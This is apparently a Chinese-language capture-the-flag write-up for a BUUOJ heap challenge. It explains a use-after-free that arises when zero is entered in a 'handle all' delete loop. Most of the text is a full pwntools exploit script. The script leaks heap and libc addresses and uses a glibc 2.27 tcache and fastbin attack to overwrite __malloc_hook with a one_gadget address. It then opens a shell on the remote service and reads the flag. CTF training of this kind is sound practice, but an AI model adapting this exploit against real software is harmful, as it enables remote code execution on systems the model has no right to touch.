事出反常必有妖。结构很多,不过3个基本差不多。一般菜单题也就是add,show,free这里多了个handle all 这里边允许输入删除的个数。但是这里边前半部分用的do循环,后半用的while循环。跃然通过条件判断大多数情况下可以正常运行,显然当输入0时前边会执行1次,而后边不执行。也就是堆块free了,管理指针块未清除,有UAF漏洞。
case 2:
for ( i = *(_QWORD **)(*(_QWORD *)(qword_203050 + 8) + 8LL); i; i = (_QWORD *)*i )
{
v15 = (void **)i[1];
free(v15[1]);
free(v15[3]);
free(v15[5]);
free(v15);
if ( !--v5 ) // 当数量为0时,v5,v4=0,但会先free 一块然后跳出,但管理块会正常直接跳出,导致第1块free后未清管理块指针,有UAF漏洞
break;
}
v10 = *(_QWORD **)(*(_QWORD *)(qword_203050 + 8) + 8LL);
while ( v10 )
{
if ( !v4-- )
break;
v16 = v10;
v10 = (_QWORD *)*v10;
free(v16);
}
result = v10;
*(_QWORD *)(*(_QWORD *)(qword_203050 + 8) + 8LL) = v10;
break;
沿着这个漏洞,由于是libc-2.27有tcache也就不必通过检查直接double free了。不过由于建块用calloc所以要用fastbin attack 。先要将块释放填满tcache再放入fastbin再从fastbin里修改指针错位控制realloc_hook,malloc_hook在里边写入one,relloc+n调栈得到shell 。
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27047)
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"4. Handle in all the 0day\n"
def add2(s1,d1,s2,d2,s3,d3):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"3. Logic bug\n", b'2')
p.sendlineafter(b":", str(s1).encode())
p.sendlineafter(b":", d1)
p.sendlineafter(b":", str(s2).encode())
p.sendlineafter(b":", d2)
p.sendlineafter(b":", str(s3).encode())
p.sendlineafter(b":", d3)
def add3(s1,d1,s2,d2):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"3. Logic bug\n", b'3')
p.sendlineafter(b":", str(s1).encode())
p.sendlineafter(b":", d1)
p.sendlineafter(b":", str(s2).encode())
p.sendlineafter(b":", d2)
def free(num, idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b'3. Logic\n', str(idx).encode())
p.sendlineafter(b'?', str(num).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'3. Logic\n', str(idx).encode())
def pwn(one_id, one_off):
context.log_level = 'debug'
add2(8, b'A', 8, b'A', 0x500, b'A')
free(0, 2)
show(2)
p.recvuntil(b'note :')
heap_addr = u64(p.recv(8))
print('head:', hex(heap_addr))
p.recvuntil(b'shellcode :')
libc_base = u64(p.recv(8)) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[one_id]
print('libc:', hex(libc_base))
add3(0x68, b'A', 0x68, b'A')
[free(0, 3) for i in range(5)] #交互的0x68 10次,7个填满tcache,3个在fastbin里得到loop
add3(0x68, p64(libc_elf.sym['__malloc_hook'] -0x23), 0x68, b'A')
add3(0x68, b'\x00'*8, 0x8, b'A')
#写完data和context后会写管理块,所以改malloc_hook要放单独处理,防止得到shell前崩掉
p.sendlineafter(menu, b'1')
p.sendlineafter(b"3. Logic bug\n", b'3')
p.sendlineafter(b":", str(0x68).encode())
p.sendlineafter(b":", b'\x00'*(3+8) + p64(one_gadget) +p64(libc_elf.sym['realloc']+ one_off) )
p.sendlineafter(b":", b'8')
p.sendline(b'cat /flag')
p.interactive()
#one[0],realloc+2
for i in range(1):
for j in [2]:
try:
connect()
pwn(i,j)
except KeyboardInterrupt as e:
exit()
except:
p.close()
print ('retrying...')